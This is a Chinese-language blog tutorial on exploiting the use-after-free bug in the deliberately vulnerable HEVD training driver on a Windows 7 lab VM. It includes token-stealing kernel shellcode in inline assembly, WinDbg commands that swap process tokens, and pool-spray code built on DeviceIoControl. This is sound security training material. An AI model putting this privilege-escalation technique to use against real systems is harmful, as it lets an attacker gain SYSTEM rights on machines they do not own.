作者: wjllz
博客鏈接: https://www.redog.me/2018/11/02/windows-kernel-exploit-part-1/

前言

Hello, 歡迎來到windows kernel exploit系列, 這是UAF系列的第一篇. 三篇的主要內容如下.

[+] 第一篇: HEVD給的樣例熟悉UAF
[+] 第二篇: CVE-2015-0057在win8 X64下的利用
[+] windows 10 x64下的UAF

關于第三篇的內容我還沒有決定好, 最近在研究CVE-2018-8410, 如果分析的出來的話. 第三篇的內容我會給出CVE-2018-8410的分析報告. 如果失敗的話, 我會挑選一下windows 10下的X64的UAF進行分析. 由于win10加了很多緩解措施, 所以那會是一個相當有趣的過程.

博客的內容我是倒著推的, 因為我喜歡有目的性的工作. 所以決定在最后再進行漏洞原理的分析。而原理的探討主要是通過對補丁的探討而完成.

在學習的過程中, 我給出了實驗相應步驟的動態圖. 希望能對您有所幫助.

0x01: 實驗環境的搭建

由于是系列的第一節, 所以講一下環境的搭建, 在經過漫長的猶豫之后, 我決定把環境的搭建制作成為一個gif圖, 因為覺得動態的過程更容易理解一些.

Tips: 本次環境的搭建環境. 僅在win7上面適用. win10(win 8 以后) 下因為驅動簽名的問題會有一些小小的不同, 后面會給出win10的教程.

環境搭建

下面是對環境搭建步驟詳解.

1.1 環境要求

[+] 配置支持

調試宿主機: windows 10 X64
目標機子: windows 7 sp1 x86
調試器: windbgx.exe
輔助工具: virtuakD

1.2 第一步

把virtualKD解壓到宿主調試機C:\SoftWare, 將宿主機C:/software/target目錄復制到target機子C:\下.

1.3 第二步

打開target機器下的C:\target\vminstall.exe 點擊yes. 電腦重啟

1.4 第三步

設置Vmcommon的調試器路徑

1.5 第四步

開始調試.

0x02: 漏洞利用

2.1: 思路詳解.

在我自己的學習過程中, 我喜歡把自己學的東西切成幾大塊, 假設為ABCD四個大塊, 在B無法理解的情況下, 我能夠去弄明白ACD就好.這樣即使無法完成此次學習, 我也能保證能在此次的學習過程中得到有用的技能.

讓我們來假設一下作為一個對UAF不理解的小白我們會把漏洞的利用過程切為那幾個部分.

[+] 編寫shellcode(最終目的是為了運行shellcode)        
[+] 分析漏洞                        
[+] 根據漏洞原理, 偽造能夠利用的數據(最終的結果是可以利用shellcode).
[+] 觸發漏洞
[+] 運行cmd, 驗證提權是否成功.

在進行上面的分析之后, 我們可以先做一些比較輕松的部分.

[+] 運行cmd進行驗證.
[+] 編寫Shellcode

2.2: 運行cmd進行驗證.

我相信有部分開始做內核的朋友可能會比較好奇為什么最后運行cmd, 輸入whoami之后, 就能證明自己提權成功了, 很不幸的, 這是一段漫長的故事. 其實也還是很簡單的. 原理如下.

[+] 我們運行了exp, exp記作進程A
[+] EXP里面創建一個cmd子進程, 記作子進程B
[+] 子進程會默認繼承父進程的權限
[+] 父進程提權成功, 可以在子進程體現.(類似于老子帥不帥可以從兒子那里得到相應的推測)
2.2.1: 編寫創建cmd子進程程序.

這一部分的代碼感謝小刀師傅, 來源于他的博客github. 在他的博客github上面我學習到了很多的有用的東西.

//創建cmd子進程的代碼.
static
VOID xxCreateCmdLineProcess(VOID)
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 創建cmd子進程
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

很多時候, 我覺得有些細節其實是可以不用太在意的. 你可以幫他當作拖油瓶, 只是附帶的產物, 比如上面的si的賦值之類的. 讓我們關注一下重點函數.

2.2.2: CreateProcessW函數

CreateProcessW創建一個子進程, 在MSDN上面你可以的到詳細的解釋. 我們列出重要參數的詳細解釋.

[+] wzFilePath --> 創建的進程名稱, cmd

2.2.2: 調用cmd子進程

我們在main函數當中進行調用. main函數現在的代碼如下.

// main函數的代碼.
int main()
{
    xxCreateCmdLineProcess();    //調用cmd
    return 0;
}

2.2.3: 運行的結果

運行的結果如下圖.

start cmd

我們發現我們現在的提權沒有成功, 這是肯定的. 因為我們并沒有進行漏洞的利用.

2.3: 編寫shellcode的代碼

作為一個有靈魂的內核選手, 這個地方的shellcode我們當然采用匯編編寫. 編寫之前, 我們繼續對我們所學的東西進行分塊.

[+] ShellCode目的: 進行提權
[+] 提權手段: 將system進程的Token賦值給cmd
[+] 提權的匯編步驟:
    ==> 找到system的Token, 記作TokenSys
    ==> 找到cmd的Token. 記作TokenCmd
    ==> 實現TokenCmd = TokenSys
2.3.1: ShellCode提權方法的驗證.

okok, 作為一個內核選手, 我們深知調試器永遠不會騙人. 所以我們可以通過調試器來幫助我們驗證一下我們的思路是否正確.

2.3.1.0: 找到System進程的TokenSys

運行如下命令:

!dml_proc

我們能得到關于system如下的結果.

kd> !dml_proc
    Address  PID  Image file name
    857bd920 4    System         
    86357a10 120  smss.exe       
    86385030 178  csrss.exe      
    86be3b90 1ac  wininit.exe    
    863e4b68 1b4  csrss.exe      
    873f1d40 1d8  winlogon.exe   
    ...

解釋:

PID:0004 --> system在win7下PID永遠為4
PROCESS: 857bd920 -- 進程起始的地址.

接著我們運行如下的命令, 查看system進程的Token.

kd> dt nt!_EX_FAST_REF 857bd920 +f8
        +0x000 Object           : 0x8940126f Void
        +0x000 RefCnt           : 0y111
        +0x000 Value            : 0x8940126f -- value是Token的值.
2.3.1.1: 找到cmd進程的TokenCmd

與找到TokenSys的方法類似, 在虛擬機里面運行一個cmd. 我們可以通過相同的方式找到TokenCmd

kd> dt nt!_EX_FAST_REF 871db030 +f8
    +0x000 Object           : 0x967ee085 Void
    +0x000 RefCnt           : 0y101
    +0x000 Value            : 0x967ee085 -- value是Token的值.
2.3.1.2: 進行TokenCmd = TokenSys.

這一部分, 我們采用調試器輔助完成. Token存放在進程偏移f8處, 我們可以把TokenCmd按照如下的命令重新賦值.

ed 871db030+f8(TokenCmd的存放地址) 8940126f(TokenSys)

此時我們再對cmd的Token進行解析. 發現Token的值已經和Sytem的Token出奇一致.

kd> dt nt!_EX_FAST_REF 871db030 +f8
    +0x000 Object           : 0x8940126f Void
    +0x000 RefCnt           : 0y111
    +0x000 Value            : 0x8940126f

此時我們運行cmd的whoami命令.

debug

2.3.2: 提權的匯編實現.

匯編實現的整體代碼如下. 關鍵點我會給出注釋, 如果你需要更詳細的解釋, 你可以在這里找到答案. (Tips: 匯編代碼只是對我們上面手工做的過程的一次模仿. 別畏懼它)

// 提權的匯編代碼.
void ShellCode()
{
    _asm 
    {
        nop
        nop
        nop
        nop
        pushad
        mov eax,fs:[124h]
        mov eax, [eax + 0x50]    // 找到_EPROOCESS
        mov ecx, eax
        mov edx, 4    // edx = system PID

        // 循環是為了獲取system的_EPROCESS
    find_sys_pid:
        mov eax, [eax + 0xb8]
        sub eax, 0xb8    // 鏈表遍歷
        cmp [eax + 0xb4], edx    // 根據PID判斷是否為SYSTEM
        jnz find_sys_pid

        // 替換Token
        mov edx, [eax + 0xf8]
        mov [ecx + 0xf8], edx
        popad
        ret
    }
}

一點小Tips:

[+] ShellCode的原理其實不用太了解, 大多數時候你可以把它當作stdio.h提供給你的printf函數, 直接用就好
[+] 堆棧的平衡建議采用調試解決.
2.3.3: ShellCode的有效性的驗證.

調試器無所不能(但是不能幫我找到女朋友…), 我們想要運行shellcode, 如何運行???.

在閱讀了源碼之后, 我們發現了一個幸福的代碼片段.

if (g_UseAfterFreeObject->Callback) {
            g_UseAfterFreeObject->Callback();
        }

g_UseAfterFreeObject是一個全局變量, 他的定義如下.

PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
typedef struct _USE_AFTER_FREE {
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;

有趣, 如果我們能夠篡改他的函數指針指向ShellCode地址. 那么我們就能在內核當中調用我們的shellcode. 接下來做一個小小的演示

Tips:

這一部分有些小小的東西需要后面的東西. 請關注篡改函數指針. 其他的內容不會的假裝自己會, 看了后面的再來理解前面的.

在未篡改之前, g_UseAfterFreeObject的結構長這樣.

dt HEVD!g_UseAfterFreeObject
0x877deb58 
   +0x000 Callback         : 0x87815558     void  +ffffffff87815558
   +0x004 Buffer           : [84] 

在進行了一堆騷操作之后(我們后面的主要內容就是為了講解這個地方的騷操作).

g_UseAfterFreeObject的結構長這樣.

dt HEVD!g_UseAfterFreeObject
0x877deb58
   +0x000 Callback         : 0x001f1000     void  UAF_AFTER_FREE_EXP!ShellCode+0
   +0x004 Buffer           : [84]  "

這樣的話, 我們就能夠運行shellcode了, 提權成功如圖.

ok

2.4: 執行一堆騷操作.

我們前面說過, 后面的內容主要是一堆騷操作. 來執行替換g_UseAfterFree函數指針的功能.

2.4.1: 偽造能夠利用的數據

USE AFTER FREE, 從這個名字來看是指在FREE狀態后依然能夠被使用. 有趣有趣. 那我們來關注一下FREE狀態之后如何使用.

在我們從小到大的過程中. 我們知道POOL是動態分配的, 就像你永遠不知道明天的巧克力是什么味道一樣(當然作為一個單身狗, 明天也是沒有巧克力的, 太凄涼了). 你永遠也不知道下一塊分配的POOL在那個位置.

Wait, 我們真的不知道嗎??? 如果你有興趣你可以在此處的paper找到相應的POOL分配和釋放算法的相關解釋. 在這里我直接給出結論.

[+] 假設想要被分配的堆的大小是258. 操作系統會去選取最適合258(>=)的空閑堆位置來存放他.

我們來看一下我們的UAF(假設已經成功)POOL的大小. 我們申請一個和他一模一樣的堆. 是不是有一定的概率使我們分配后的堆的剛好是這個地方呢. 答案是肯定的. 但是有一個問題. 一定的概率. 我們希望我們的利用代碼能夠更加的穩定. 假設此時操作一共有X個大小的空閑區域. 我們的概率是1/X, 分配兩個是2/X, 不斷增加.

[+] n/X -- n是我們請求分配的POOL個數.

最終我們的代碼如下.

// 構造美好的數據
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

// 噴射
for (int i = 0; i < 5000; i++)
{
    // 此處的函數用于Pool的分配.
    DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
2.4.2: 漏洞成因分析(為什么在那個時候我們處于Free狀態).

我們到這里其實利用就已經做完了, 但是永遠別忘記一件事, 這只是一個練習. 與真正的漏洞分析差的遠. 所以我們學的應該不是教程, 而是這一段在實踐當中可以幫助我們做些什么.

漏洞成因的分析在我實踐的過程中. 有幾種手段.

[+] 查閱漏洞發現者的給出的相關資料
[+] 查閱其他人做的分析筆記
[+] 閱讀POC
[+] 補丁比對

這個地方我們來模擬補丁比對. 實戰當中你可以使用bindiff, 為了讓接下來的過程更加的簡單. 我們采用源碼分析.

#ifdef SECURE
        // Secure Note: This is secure because the developer is setting
        // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
        ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

        g_UseAfterFreeObject = NULL;
#else
        // Vulnerability Note: This is a vanilla Use After Free vulnerability
        // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
        // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
        // (dangling pointer)
        ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif

在這個地方, 安全與不安全的主要理由是g_UseAfterFreeObject最后是否為NULL.

漏洞點: 如果不把它變為NULL, 后續可以繼續應用.

這個地方有一個小小的問題, 在下一節我們給出我們的套路.

0x3 總結.

3.1: 補丁的探討.

我們來對安全的版本進行一點小小的討論.

[+] g_UseAfterFreeObject = NULL
[+] if(g_UseAfterFreeObject->CallBack) ==> if(NULL->CallBack) ==> if(0->CallBack)

隨著思路的推理, 我們的嘴角逐漸浮現出笑容. windows 7 下, 我們可以對申請0地址, 并且填充相應的內容. 假設shellcode地址為0x00410000. 我們通過對0地址進行填充內容.

00000000: 00410000 --> 指向shellcode地址

我們也能順利執行我們的shellcode. ==> 此處引發了一個空指針解引用漏洞.

OK, 我們驗證了這是一個不安全的補丁. 更安全的補丁應該類似于這樣

if(g_UseAfterFreeObject != NULL)
{
    if(g_UseAfterFreeObject->CallBack)
    {
        g_UseAfterFreeObject->CallBack();
    }
}

很遺憾的, 當我發現這個的時候, 發現創作者已經做了這樣一個檢測…

3.2: 關于挖洞的探討.

在進行這次學習之后, 我有一個小小的猜測. 是否存在可能性, 安全人員在進行uaf漏洞補丁的時候. 忽視了空指針解引用呢.

自己思考的比較簡陋的方式:

[+] 補充最新的補丁.
[+] 閱讀更新報告, 確定漏洞集
[+] 編寫IDAPy, 完成如下的功能.
    ==> 檢索匯編代碼. 確定搜選補丁函數當中的CMP個數.(如果小于2, 可以做重點分析)
    ==> 檢索匯編代碼, 確定相鄰8 byte - 16byte范圍(這個范圍需要具體研究.). 是否同時存在兩個CMP

3.3: UAF漏洞利用的套路總結.

[+] 原理: 分配的POOL為賦值為NULL, 導致后面可用.
[+] 觸發漏洞
[+] 偽造數據(依賴于偽造數據實現shellcode運行)
[+] 調用相關的函數進行堆噴射
[+] CMD驗證

3.4: 實驗結果驗證

ok test

0x4: 相關鏈接.


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/872/